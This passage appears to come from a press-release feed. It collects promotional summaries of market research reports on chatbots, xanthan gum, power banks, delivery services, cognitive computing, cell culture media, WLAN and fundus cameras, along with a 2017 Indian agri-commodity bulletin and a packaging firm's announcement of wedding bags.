PVT LTDOffice No. 528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India
Chatbot Market  Global and Europe Analysis, Industry Growth, Demand Drivers, Opportunities and Forecast to 2025

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The Insight Partners has announced the addition of the Chatbot Market to 2025  Global Analysis and Forecasts by Platform (Mobile, Web-Based and Stand Alone), Business Function (Customer Service, Sales/Marketing, Order Processing, Social Media, Payment Process and Recruitment); and Applications (Tourism & Hospitality, Enterprise, Education, Banking and E-Commerce) report to their offering.Chatbot is a type of artificial intelligence systems which interacts with the users through speech, text, and messaging. With the increasing demand and usage of messaging applications made easy accessibility of customized bot and therefore strengthen the growth of Chatbot market. There are many Chatbot platform present like WeChat, Facebook messenger, WhatsApp among others, all these chatbots has become the necessity for many industries. The increasing demand of computerized patient management tools in the healthcare industry and the rising adoption of cloud technology is boosting the Chatbot market.Request Sample is Available atThe factor that can act as a restraint in the growth of the market is the high initial deployment cost and system integration complexities may hamper the Chatbot market. However, the increasing number of social media platforms and durable necessity to understand consumer behavior will create new opportunities in the market of Chatbot in the forecast period.The Global Chatbot Market Analysis to 2025 is a specialized and in-depth study of the Chatbot industry with a focus on the global market trend. The report aims to provide an overview of global Chatbot market with detailed market segmentation by platforms, business functions, application, and geography. The global Chatbot market is expected to witness high growth during the forecast period. The report provides key statistics on the market status of the leading market players and offers key trends and opportunities in the market.The report provides a detailed overview of the industry including both qualitative and quantitative information. It provides overview and forecast of the global Chatbot market based on platforms, business functions, and application. It also provides market size and forecast till 2025 for overall Chatbot market with respect to five major regions, namely; North America, Europe, Asia-Pacific (APAC), Middle East and Africa (MEA) and South America (SAM). The market by each region is later sub-segmented by respective countries and segments. The report covers analysis and forecast of 16 counties globally along with current trend and opportunities prevailing in the region.Chatbot Market key Players1. Slack Technologies, Inc.2. Message.io, Inc.3. Facebook, Inc.4. SMART CAPSA, S.R.O.5. Helpshift6. Imperson Ltd.7. Kasisto Inc.8. Microsoft Corporation9. Pandorabots, Inc.10. Astute SolutionsComplete Report is Available atContact Us:Call: +1-646-491-9876Email: sales@theinsightpartners.comAbout Us:The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We are a specialist in Technology, Media, and Telecommunication industries.533, 5th Floor,Amanora Chambers, East Block, Amanora Township,Kharadi Road, Hadapsar, Pune-411028
Xanthan Gum Market - Current Trends,Analysis & Forecast 2017-2025

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Global Xanthan Gum Market: OverviewXanthan gum, refers to a polysaccharide made by fermenting corn sugar with a bacteria, xanthomonas campestris - the same bacteria that leads to the creation of black spots on vegetables such as cauliflower and broccoli. The strain of xanthomonas campestris used for obtaining xanthan gum is non-toxic and non-pathogenic for humans and animals. It is therefore preferred over several other emulsifiers in food products. Xanthan gum is actually one of the worlds 30 most used popular products used in the food industry.Global Xanthan Gum Market: Drivers and RestraintsDemand across the food and beverages industry is expected to continue to remain one of the key forces driving the global market for xanthan gum in the next few years. Of late, the increased global demand for packaged, ready-to-eat, and convenience foods has significantly increased the uptake of xanthan gum in the food and beverages industry. The food and beverages industry presently accounts for over half the global consumption of xanthan gum and the industry is expected to drive the market owing to high demand across food products such as salad dressings and sauces and dairy products such as ice creams.Request Sample Copy of the Report @The inherent superiority of the product over other common hydrocolloids is also a key driver of the global xanthan gum market. However, the market is presently struggling to cope up with the reinforced policies regarding anti-dumping across a number of developed economies and restrictions on the import of xanthan gum from China and Austria. The rising mistrust regarding the quality of xanthan gum by suppliers in China, which is presently the leading producer of the product on the global front, is also expected to hamper the overall growth prospects of the market to a certain extent.Global Xanthan Gum Market: Market PotentialLooking at the significant rise in demand for xanthan gum from across the globe, key producers of the product are focusing on the expansion of their existing production sites, strengthening their distribution channels, and exploring new regional territories to add to their customer bases. In February 2013, CP Kelco, one of the worlds dominant producers of xanthan gum, announced the expansion of its production facility in San Diego by around 40% so as to meet the heightened demand owing to a clampdown by the U.S. government on imports by Chinese and Austrian companies owing to quality issues. The company announced its plans to build a new manufacturing plant in North America for the production of and specialty xanthan gum and gellan gum.Request TOC of the Report @Global Xanthan Gum Market: Regional OverviewThe global market for xanthan gum has been predominantly led by Asia Pacific. The region accounts for a significant share of the global market for xanthan gum and is expected to show growth at a promising pace over the next few years as well. The massive demand for xanthan gum from China is expected to help the Asia Pacific market for xanthan gum remain dominant from a geographical perspective. The thriving market for food and beverages in China and other emerging economies in the region such as India is leading to the high demand for xanthan gum in the region.North America is another promising market for xanthan gum and is expected to become a matured market in the next few years owing to the increased use of the product for a number of industrial applications. The demand for xanthan gum is expected to witness rise at a slower pace in regions such as Middle East and Africa and Latin America.Get Discount @Global Xanthan Gum Market: Competitive DynamicsThe global market for xanthan gum features a largely consolidated competitive landscape, with the leading few companies accounting for a massive share in the global market. Some of the leading vendors operating in the global xanthan gum market are Archer Daniels Midland Company, MeiHua Holdings Group Co., Ltd, Fufeng Group Company Limited, Hebei Xinhe Biochemical Co., The Aurora Chemical, CP Kelco, The Zoranoc Oilfield Chemical, DuPont-Danisco, Deosen, Jungbunzlauer Suisse AG, Ltd., Cargill, Inc., FMC BioPolymer, and Solvay S.A.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Portable Power Bank Market Analysis- Application, Type, Voltage, End-User, Category, Global Trends and Forecast To 2022

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ReportBazzar has released its latest research-based report entitled Portable Power Bank market.The following points are covered in the report: Market segmentation Penetration & Growth Mapping Market Trends Market Driver Analysis Market Restraint Analysis Growth opportunities Porters Analysis SWOT AnalysisIndustry Insights:This report provides a holistic approach to the market growth with a detailed and precise analysis of the overall competitive scenario of the Portable Power Bank market. The report also provides a detailed analysis of key trends playing a prominent role in the Portable Power Bank market growth. The overall market provides detailed dynamic and statistical insights pertaining to the market at both regional and global level.Get Free Sample Copy of this Report @Information & Communication Technology industryThe information and communication technology market nowadays is growing in double digit. We deliver both syndicated and consulting reports for ICT market according to client needs and industry needs. We mainly focus on different new technologies, smart markets, mobile applications, telecommunications, software, middleware, audio-visual systems and storage.A holistic report covers exhaustive information obtained from reliable industrial sources and through proven research methodologies. The report goes through both secondary and primary survey. The base year taken for the report is 2015 and 2016, and a forecast is done from 2017 to 2022.The data thus obtained is then combined with relevant tables and graphs to support the information revealed.Application Insights:Various competent analytical tools have been used to offer a comprehensive assessment of the market. The report comprises of each aspect of the global market for Portable Power Bank. It starts with the basic information and then advances to the market segmentation based on different criteria such as technology, industry areas and regions in general. A detailed analysis is given on the areas of industries it is used and basically how the technology is helping the particular industry or driving the market growth of that particular industry.Browse full report with Table of Content @Regional Insights:Major regions, countries, and sub-segments have been analyzed for providing the better understanding of the market scope worldwide. The regions taken into consideration are North America, Europe, Asia Pacific, Middle East & Africa and Central & South America. The regional markets for the Portable Power Bank market are analyzed by evaluating the demand, and supply, the assembly of the products, how it is getting connected with the human interface as well as the historical performance of the market in the given region.Competitive Insights:The report also provides insights on the competitive landscape of the global Portable Power Bank industry with the leading players profiled in the report. Company profiles are purely tentative in nature and we can profile companies according to your interest at free cost. The company overview, trends, tactics, merger & acquisitions, business strategies, financial metrics of the major participants operating in the global Portable Power Bank market have been reviewed in this study.Ask for Discount @Some Points of Table Of Content:Part 1 Market Overview1.1 Market Definition1.2 Market Development1.3 Type1.4 Application1.5 RegionPart 2 Global Market Status and Future Forecast2.1 Global Market by Region2.2 Global Market by Company2.3 Global Market by Type2.4 Global Market by Application2.5 Global Market ForecastPart 3 Asia Market Status and Future Forecast3.1 Asia Market by Region3.2 Asia Market by Company3.3 Asia Market by Type3.4 Asia Market by Application3.5 Asia Market ForecastPart 4 China Market Status and Future Forecast4.1 China Market by Type4.2 China Market by Application4.3 China Market ForecastPart 5 Southeast Asia Market Status and Future Forecast5.1 Southeast Asia Market by Type5.2 Southeast Asia Market by Application5.3 Southeast Asia Market ForecastAbout Us:Reportbazzar.com is your trusted source for the most inclusive and informative assortment of market research reports designed to empower you with the latest in industry information that translates to time and cost savings for your business. We not only help you give wing to your latent business ideas but also facilitate you in taking the best informed and strategic decisions that guarantee success in your most promising business endeavors. Our intelligence database comprises of vast arrays of strategically analyzed and high-level market research reports that encompass all major industries worldwide. All the specialized research reports available at Reportbazzar.com are tailor-made to suit your every business need, no matter how diverse or demanding it is.Contact for more details:Report BazzarUnited States30 Wall Street, 8th floor,New York, NY 10005.US: +1 (212) 389-6363
Same-day Delivery 2017 Global Industry Key Players - A-1 Express , DHL , TForce Final Mile , UPS , USA Couriers , American Expediting Market Analysis and Forecast to 2022

World Same-day Delivery Market

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World Same-day Delivery MarketExecutive SummarySame-day Delivery market research report provides the newest industry data and industry future trends, allowing you to identify the products and end users driving Revenue growth and profitability.The industry report lists the leading competitors and provides the insights strategic industry Analysis of the key factors influencing the market.The report includes the forecasts, Analysis and discussion of important industry trends, market size, market share estimates and profiles of the leading industry Players.Request a Sample Report @The Players mentioned in our reportA-1 ExpressDHLTForce Final MileUPSUSA CouriersAmerican ExpeditingAramexDelivExpress CourierFedExLaserShipParcelforce WorldwideNAPAREXPower Link DeliveryPrestige DeliveryGlobal Same-day Delivery Market: Application Segment AnalysisB2BB2CGlobal Same-day Delivery Market: Regional Segment AnalysisUSAEuropeJapanChinaIndiaSouth East AsiaTo enquire about this report visit @Table of Content-Key Points CoveredChapter 1 About the Same-day Delivery Industry1.1 Industry Definition and Types1.2 Main Market Activities1.3 Similar Industries1.4 Industry at a GlanceChapter 2 World Market Competition Landscape2.1 Same-day Delivery Markets by Regions2.1.1 USAMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.2 EuropeMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.3 ChinaMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.4 IndiaMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.5 JapanMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.6 South East AsiaMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.2 World Same-day Delivery Market by Types2.3 World Same-day Delivery Market by ApplicationsB2BB2C2.4 World Same-day Delivery Market Analysis2.4.1 World Same-day Delivery Market Revenue and Growth Rate 2012-20172.4.2 World Same-day Delivery Market Consumption and Growth rate 2012-20172.4.3 World Same-day Delivery Market Price Analysis 2012-2017Chapter 3 World Same-day Delivery Market share3.1 Major Production Market share by Players3.2 Major Revenue (M USD) Market share by Players3.3 Major Production Market share by Regions in 2017, Through 20223.4 Major Revenue (M USD) Market share By Regions in 2017, Through 2022Chapter 4 Supply Chain Analysis4.1 Industry Supply chain Analysis4.2 Raw material Market Analysis4.2.1 Raw material Prices Analysis 2012-20174.2.2 Raw material Supply Market Analysis4.2 Manufacturing Equipment Suppliers Analysis4.3 Production Process Analysis4.4 Production Cost Structure Benchmarks4.5 End users Market AnalysisContinued.Buy Report@Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India
Cognitive Computing Market Global and Europe Analysis, Industry Growth and Opportunities Report 2017-2025

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The Global Cognitive Computing Market Analysis to 2025 is a specialized and in-depth study of the cognitive computing industry with a focus on the global market trend. The report aims to provide an overview of global cognitive computing market with detailed market segmentation by technology, deployment type, enterprise size, application, and geography. The global cognitive computing market is expected to witness high growth during the forecast period. The report provides key statistics on the market status of the leading market players and offers key trends and opportunities in the market.Cognitive Computing is defined as the technology based on the principle of artificial intelligence, signal processing, machine learning, and natural language processing (NLP) among others technology. It brings human like intelligence for a many business applications which will include big data. Cognitive Computing is a well-known technology basically specialized for processing and analyzing large and unstructured datasets. The major drivers of the cognitive computing market are the advancements in computing platforms like cloud, mobile, and big data analytics which will drive the growth of the market in the forecast period.The factor that can act as a restraint in the growth of the market is increasing cost of installing cognitive computing systems and the government and compliance issues may hamper the cognitive computing market. However, the increasing big and complex datasets, rise in the adoption of cloud-based technology will create new opportunities in the market of cognitive computing in the forecast period.Request Sample is Available atThe report provides a detailed overview of the industry including both qualitative and quantitative information. It provides overview and forecast of the global cognitive computing market based on technology, deployment type, enterprise size, and application. It also provides market size and forecast till 2025 for overall cognitive computing market with respect to five major regions, namely; North America, Europe, Asia-Pacific (APAC), Middle East and Africa (MEA) and South America (SAM). The market by each region is later sub-segmented by respective countries and segments. The report covers analysis and forecast of 16 counties globally along with current trend and opportunities prevailing in the region.Inquire before Buying atCognitive Computing Market Key Players1. Saffron Technology2. Cognitive Scale3. Microsoft Corporation4. Cold Light5. Google6. IBM7. Palantir8. Numenta9. Vicarious10. Enterra SolutionsComplete Report is Available atContact Us:Call: +1-646-491-9876Email: sales@theinsightpartners.comAbout Us:The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We are a specialist in Technology, Media, and Telecommunication industries.533, 5th Floor,Amanora Chambers, East Block, Amanora Township,Kharadi Road, Hadapsar, Pune-411028
Global Cell Culture Media, Sera, and Reagents Market: Segmental Highlights and Table of Content (2015-2023)

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Global Cell Culture Media, Sera, and Reagents Market: Shortfall in Competency of Generic Drugs Bodes Well, finds TMRThe global cell culture market has been prognosticated by TMR to achieve a revenue of US$11.3 bn by 2022. The cell culture media market could expand at a faster CAGR during the course of the forecast period 20152023. In view of geographical analysis, North America has been forecasted to secure a larger share of US$3.7 bn by the end of 2022.The Global Cell Culture Media, Sera, and Reagents Market is segmented on the basis of Type and Geography.The market has been extensively analyzed on the basis of media, sera, reagents, and geography. Cell culture media are further segmented into chemically defines media, classical media, lysogeny broth, protein-free, serum-free and specialty media; segment for cell culture sera is sub-segmented into fetal bovine serum, newborn calf and adult bovine serum and others; and reagents segmented to further divided into albumin, amino acids, attachment factors, growth factors and cytokines, protease inhibitors, and others. Albumin market is further studied for human serum albumin, bovine serum albumin, and recombinant serum albumin. Growth factors and cytokines market is studied for insulin-like growth factors, interleukins and interferons, tumor necrosis factors and other growth factors and cytokines. The others reagents segment is further divided in porcine trypsin, recombinant trypsin, thrombin and miscellaneous reagents.Read Report Overview @Each of the segments has been analyzed in detail for market trends, recent developments, outlook, and opportunities. The report provides current and future market size for each segment and sub-segment for the period from 2013 to 2023, in terms of revenue in USD million considering 2013 and 2014 as the base years. The compound annual growth rate (% CAGR) for each market segment has been provided for the forecast period from 2015 to 2023 along with the estimations of market size.Geographically, the global cell culture media, sera and reagents market has been classified into five major regions: North America (the U.S., Canada), Europe (Germany, the U.K., Rest of Europe), Asia Pacific (Japan, China, India, Korea, Rest of Asia Pacific), Latin America (Brazil, Mexico, Rest of Latin America), and Rest of the World (RoW) (Israel and Russia). The regions have been further segmented by media, sera and reagents. The current and future market sizes in terms of revenue (USD million) of these regional markets and their major countries have been provided in the report for the period from 2013 to 2023, with their growth rate (%) for the period from 2015 to 2023. The study also offers a list of recommendations and highlights of the market for new companies willing to enter the market and for existing companies to increase market shares, which is likely to help in the decision-making process.Request Sample Report @Summary of Table of Content1 Preface2 Executive Summary3 Cell Culture Market Overview4 Global Cell Culture Media Market5 Global Cell Culture Sera Market6 Global Cell Culture Reagents Market7 Global Cell Culture Media, Sera and Reagents Market, by Geography8 Recommendations9 Company ProfilesRequest to Browse Full Table of Content, figure and Tables @ABOUT US:Transparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.CONTACT:Transparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-345
Enterprise WLAN Market - Emergence Of Market & Forecast 2017 - 2025

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Global Enterprise WLAN Market: OverviewWith a continuously rising adoption of mobility and the growing demand among people across the world to be connected to the internet regardless of their location, wireless networks are gaining popularity. A wireless LAN (WLAN) controller combines multiple access point protocols to manage them in large through network operations centers or network administrators. The controller has the ability to automatically handle the configuration of wireless access points. Enterprise WLAN helps maintain organizations seamless workflow and security. The different types of verticals where these networks are used, include telecom and IT, healthcare, banking, education, retail, hospitality, and logistics.Global Enterprise WLAN Market: Key TrendsThe emergence of cloud and Internet of Things (IoT) technologies is providing a fillip to the global enterprise WLAN market. IoT and cloud solutions provide an edge to enterprise wireless networks by improving their efficiency and reliability. Moreover, the growing trend of bring your own device (BYOD) is stoking the growth of the market. The proliferation of smartphones and devices is also augmenting the market.Request Sample Copy of the Report @On the flip side, the lack of awareness and dearth of workforce with high technical acumen are keeping the market from realizing its utmost potential. However, technological advancements are estimated to increase WLAN applications across numerous industry sectors, which will work in favor of the market.Global Enterprise WLAN Market: Market PotentialRecent trends in the global enterprise WLAN market indicate that the market participants are focusing on mergers and acquisitions to improve their offerings. The introduction of advanced technologies is rendering the market highly lucrative. In September 2016, Extreme Networks announced the acquisition of Zebra Technologies Wireless LAN (WLAN) business unit. The deal was worth US$55 mn. With this acquisition, the company announced that the combination will work towards delivering superior Enterprise Asset Intelligence solutions, that will provide customers with real-time visibility into their operations. Similarly, Hewlett-Packard acquired Aruba Networks in May 2015 for US$3 bn in an attempt to enhance its role in the WLAN market.Request TOC of the Report @Several players are also involved in expanding their outreach in emerging regions. They are pouring funds into research and development to introduce innovative and disruptive solutions for end to end networking requirements of enterprises. For instance, AXILSPOT, in December 2016, flagged off its operations in Indias enterprise wireless marketplace by launching Rscan range of products.Global Enterprise WLAN Market: Geographical SegmentationOn the basis of geography, the segments reviewed in the report are Asia Pacific, North America, Latin America, Europe, and the Middle East and Africa. North America will be a prominent market for enterprise WLAN. The high consumer awareness regarding the merits of these networks and early introduction of advanced technologies due to the presence of many key players are driving the growth of the region.Get Discount @Asia Pacific, on the other hand, will offer numerous promising prospects to global vendors. The widening pool of working population and emerging technology hubs is largely benefiting the market in the region. The escalating development and adoption of cloud-based services and growing investments in the IT and telecommunication sector are fuelling the growth of the region.Global Enterprise WLAN Market: Competitive LandscapeThe majority of players in the global WLAN enterprise market are focusing towards technological advancements and product innovation to enhance their visibility in the market. Key players are looking upon mergers and partnerships as viable growth strategies to stay ahead in the market. Some of the prominent vendors in the market are Cisco Systems, Alcatel-Lucent Enterprises, Extreme Network, Dell Inc., ZTE Corporation, Ruckus, Hewlett-Packard Enterprise, Huawei, and Juniper Networks.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Fundus Cameras Market Driven By Growing Occurrence of Retinal Disorders, Rise In Geriatric Population And Technology Advancement Till 2021 | Million Insights

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The global Fundus Cameras market research report is classified on the basis of product type, end users and geography. A fundus camera is a specialized low power microscope with an attached high resolution camera. Its optical design is based on the indirect ophthalmoscope.Fundus cameras are used to diagnose various types of retinal disorders.Factors propelling the market growth include growing occurrence of retinal disorders, rise in geriatric population, and advancement in technologies. In addition, availability of advanced fundus optical devices such as hybrid cameras with multiple functionalities is significantly fuelling the growth of the market.Moreover, thegrowing applications of fundus cameras in diagnosing a range of retinal disorders at an early stage haveboosted the demand for portable and high-performing fundus devices. On the other hand, there are also factors that hamper the growth of the market such as high cost related with integrating advanced technology features in fundus cameras.Full Research Report On Global Analysis available at:On the basis of product type, the Fundus Cameras market research report is classified as Mydriatic Fundus Cameras, Non Retractable Fundus Cameras, Hybrid Fundus Cameras and Retinopathy of Prematurity (ROP) Fundus Cameras. The Mydriatic Fundus Cameras is further sub classified as Tabletop and Handheld. The Non Retractable Fundus Cameras is further sub classified as Tabletop and Handheld.Among the product type, Non-mydriatic fundus cameras segment is projected to account a major share of the market. The key factor that drives the growth of this segment is because this device can be used for screening of glaucoma patients and those sensitive to light.Whereas, the Hybrid Fundus Cameras is expected to grow at the highest growth rates in the global market. The key factor that drives the growth of this segment is owed to availability of a combination of technologies in a single device. Some of the hybrid fundus cameras commercially available include VX-20 by Kowa Optimed, Inc., CX-1 by Canon, Inc., and iFusion by Optovue, Inc. In addition, these devices are easier to use and more reliable for diagnosis of vision-threatening diseases.On the basis of end users, the Fundus Cameras market research report is classified as hospitals, ophthalmology clinics and ophthalmic and optometrist offices.Among the end users, ophthalmic and optometrist offices segment id projected to account a major share of the global market. The major share of this segment is owed to increase in the number of specialty clinics and high preference for optometrists for primary eye care.Request for Free Sample Copy at:On the basis of geography, the Fundus Cameras market research report is classified as North America, Europe, Asia Pacific, Latin America, and Rest of the World. The North American region consists of the U.S. and Canada. The European region consists of England, Germany and Rest of Europe. Asia Pacific region consists of Australia, Japan and Rest of Asia Pacific. Latin America region consists of Brazil and Rest of Latin America.In case of geographical region, North America is projected to account a major share of the Fundus Cameras market research report. The factors that attribute to the growth of North America is due to rising awareness about eye disorders, increased healthcare expenditure, technological advancements and well established healthcare infrastructure and facilities. In addition, government support for reimbursement & screening of devices significantly fuel the growth of the market.Europe is also projected to show significant growth rates in the Fundus Cameras market research report. On the other hand, Asia Pacific is anticipated to be the most lucrative region in the upcoming years owing to growing medical tourism and increasing awareness of retinal and ocular diseases. Also, growing awareness of treating diabetic retinopathy at an early stage in countries such as India and Japan is expected to boost the growth of this region. Furthermore, investment by the governments of several countries in Asia Pacific to develop healthcare infrastructure is considerably fuelling the growth of the market.Some of the prominent players that fuel the market growth include Topcon Corporation, Canon, Inc., Nidek Co., Ltd., Optovue, Inc., CenterVue S.p.A., Carl Zeiss Meditec AG, Kowa Optimed, Inc., Optomed Oy (Ltd.), and Clarity Medical Systems.Related Reports of this Category available at Million Insights:About Million InsightsMillion Insights, is a distributor of market research reports, published by premium publishers only. We have a comprehensive market place that will enable you to compare data points, before you make a purchase. Enabling informed buying is our motto and we strive hard to ensure that our clients get to browse through multiple samples, prior to an investment. Service flexibility & the fastest response time are two pillars, on which our business model is founded. Our market research report store, includes in-depth reports, from across various industry verticals, such as healthcare, technology, chemicals, food & beverages, consumer goods, material science & automotive.Contact Details:Office No. 302, 3rd Floor, Manikchand Galleria,Model Colony, Shivaji Nagar, Pune, MH, 411016 IndiaPhone: 91-20-65300184Email: sales@millioninsights.com
Epic Research Daily Agri Commodity Report Of 19 DECEMBER 2017 Commodity News



Cumin or jeera futures have been hitting new peaks despite higher

acreage in the main growing states and sluggish demand in export

markets, indicating speculative hoarding by big players. The contract for

delivery in December has jumped more than 15% on the National

Commodity and Derivatives Exchange (Ncdex) over the last couple of

weeks. It touched a high of Rs 221.45 per kg on Tuesday before slipping to

Rs 219.80. The contract for delivery in January rose 10% to Rs 214.60 a kg.



The government raised import duties on various edible oils on

November 17, which is supporting the entire oil pack. Refined soya oil,

crude palm oil, soyabean and rape mustard seeds witnessed gains

between 4-7 per cent in a weeks time. Soyabean futures contract also

traded at a two-month high on NCDEX. Soyabean December contract

closed at Rs 2,999 per quintal, which is almost closer to the governments

minimum support price (MSP) of Rs 3,050 per quintal. Traders and farmers

were demanding for a revision in the duty for a long time to support falling

prices, but this decision came late by almost two months. Still, this is a

good move from the governments side, as this will not only support the

entire edible oil industry, but farmers also to a large extent.



Castor seed futures on National Commodities and Derivatives Exchange

(NCDEX) witnessed the highest single day jump on Wednesday since

March this year supported by highest ever monthly export volume of

castor meal and reports of crop damage due to heavy rains in Gujarat. The

benchmark castor seed contract on NCDEX for September delivery was up

more than 3.21 % or Rs 147 today to trade at Rs. 4,727 per quintal, its

highest level in four and half months. India's castor meal exports in June

was revised to 1,19,315 tonnes from 62,516 tonnes in data released by

the Solvent Extractors' Association of India (SEA) recently.



Economic News



India's sugar production rose 30 per cent to 69.4 lakh tonne during the first

two and half months of the current marketing year on higher cane output,

according to industry body ISMA. Sugar marketing year runs from October to

September. Mills have produced 69.40 lakh tonne of sugar till December 15 of

the 2017-18 marketing year as compared to 53.46 lakh tonne in the

corresponding period of the previous year, Indian Sugar Mills Association said

in a statement. As on December 15, 2017, 469 sugar mills were crushing

sugarcane for the year 2017-18 against 449 mills last year same time, it

added. ISMA has pegged sugar output of India, the world's second largest

producer, at 251 lakh tonne in 2017-18 against 203 lakh tonne in the previous

year. As per the data, mills in Maharashtra have produced 25.50 lakh tonne of

sugar till December 15, up from 17.25 lakh tonne in the year-ago period.



India's

dairy industry is expected to maintain 15 per cent compounded

annual growth (CAGR) over 2016-20, and attain value of Rs 9.4 trillion on

rising consumerism, a report said. "India's dairy industry is worth Rs 5.4 trillion

by value, having grown at 15 per cent CAGR during 2010-16. Going ahead, the

dairy industry is expected to maintain 15 per cent CAGR over 2016-20, and

attain value of Rs 9.4 trillion on rising consumerism," Edelweiss Securities said

in a report. India has progressed from being deficient in milk production at 20

million MT in 1970 to becoming the world's largest milk producer at 160

million MT, accounting for 18.5 per cent of global milk production. Further,

India is expected to emerge as the largest dairy producer by 2020, the report

said. The Union government implemented the Central Scheme National Dairy

Plan - Phase 1 during 2012-17 to improve productivity of dairy cooperatives

through several input activities. Investments by private players in the

domestic dairy sector is also expected to further augment milk productivity, it

explained.



Trading Recommendations



BUY CORIANDER DEC ABOVE 5570 TARGET 5600 5640 5690 SL BELOW 5520

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Packing Supply Introduces Personalized Wedding Gift Bags

https://www.packingsupply.in/wedding-bags/MTMw/p/

PackingSupply.in an ecommerce packaging portal specializing in custom printed courier bags, envelopes and screen printed poly mailers now launches Personalised Wedding Bags. These bags are designed to fulfill the ever increasing demand of wedding favour bags, wedding welcome bags and gift bags.The idea was to add a personalised touch to gifts and favours exchanged during weddings by the families. A regular plastic bag is used for months in a household. These stylish and customised bags will obviously circulate for a little more than that and thus make your event a memory that will stay in peoples minds for months to come even if your gifts dont. Just like our screen printed range, we want these personalised wedding bags to make lasting impressions on your guests, says Semil Shah Digital Marketing Manager, PackingSupply.in.A choice of four unique designs have been offered with options to print the bride and groom name, wedding date or a personalised message. Customers can also send in their designs or logos which can be printed in 7 different colours on high quality lustrous carry bags with loops. For the convenience of customers and for keeping up with frequent requests, the minimum order quantity is reduced to as low as 100 bags. Explore more atWeddings are an event closest to your heart. Make that one day event a forever memory with these exclusive wedding favour bags for guests. In addition, you can also get bags screen printed for events, exhibitions and trade shows.Packingsupply.in is a new initiative by market experts Dynaflex that has three-decade-old experience in printing and packaging. It is a one-stop online destination for all your packaging material and aims at helping you buy high-quality packaging material at the ease of your fingertips, shipped straight to your homes. The best part about the website is that one can buy in bulk with rate per pack feature and get order delivered at the address of choice in minimum 3 working days.G-15/16, Indiabullls Mega Mall,Jetalpur Rd, Sarod,Sayajiganj, Vadodara,Gujarat 390001
Global Physical Vapor Deposition Market Research and Forecast 2017-2022

Global Physical Vapor Deposition Market, Size, Share, Market Intelligence, Company Profiles, Market Trends, Strategy, Analysis, Forecast 2017-2022PHYSICAL VAPOR DEPOSITION MARKET INSIGHTS:The global Physical Vapor Deposition Market is anticipated to grow at the CAGR of 7.8% during 2017-2022. Physical vapor deposition (PVD) is the process of depositing clean, dry and thin film coating, usually dry vacuum over the entire solid surface. It is sometimes referred as PVD coating which involves the vaporization of a solid metal in a high vacuum environment and deposition of electrically conductive material including alloy or pure metal carried out of it. PVD is used in variety of applications including cutting tools, automotive industry, molding tools, decorative coating, medical equipment, solar products and microelectronics due to its eco friendly attributes. The use of PVD is increasing significantly in industries such as healthcare, automotive, aerospace and so forth to replace harmful and galvanic methods. PVD is an eco-friendly technology in contrast to other chemical depositing methods, as a result is expected to gain attraction from across the globe due to rising environmental concerns and cohesive government policies. It involves no hazardous material and does not generate chemical waste or pollution. Green PVD plating is used in place of cyanide and chromium in plating bath for noble metals as well as for plating on plastic. In the U.S., Environmental Protection Agency (EPA) has restricted the use of Hexavalent chromium in electroplating due to its hazardous effects on environment. This restriction has shifted the industries towards Physical Vapor Deposition. The major factors that are augmenting the growth of the market include considerable growth in semiconductor industry, rising demand for medical equipment application and preference for PVD over other coating techniques.Moreover, the global physical vapor deposition has been widely used in medical applications to deposit wear resistant thin film coating on medical devices including pacemakers, dental instruments, orthopedic implants and surgical instruments. PVD coating provides number of benefits to the medical instruments including chemical barrier, reduced friction, sterilization, biocompatibility, saline solution and improved wear resistance. In addition to all these applications, PVD coating is also used in solar panel industry to produce greener electricity and to reduce friction for high performance moving parts in aerospace and automotive industry. However, there are certain factors that are hindering the growth of the market which includes high capital investment and requirement of skilled labors.GEOGRAPHY INSIGHTS:A complete analysis of global physical vapor deposition market has been done in different geographical regions that are contributing significantly towards the growth of the market. On the basis of the geography, market is bifurcated into North America, Europe, Asia Pacific and Rest of the World. Asia Pacific is expected to dominate the physical vapor deposition market owing 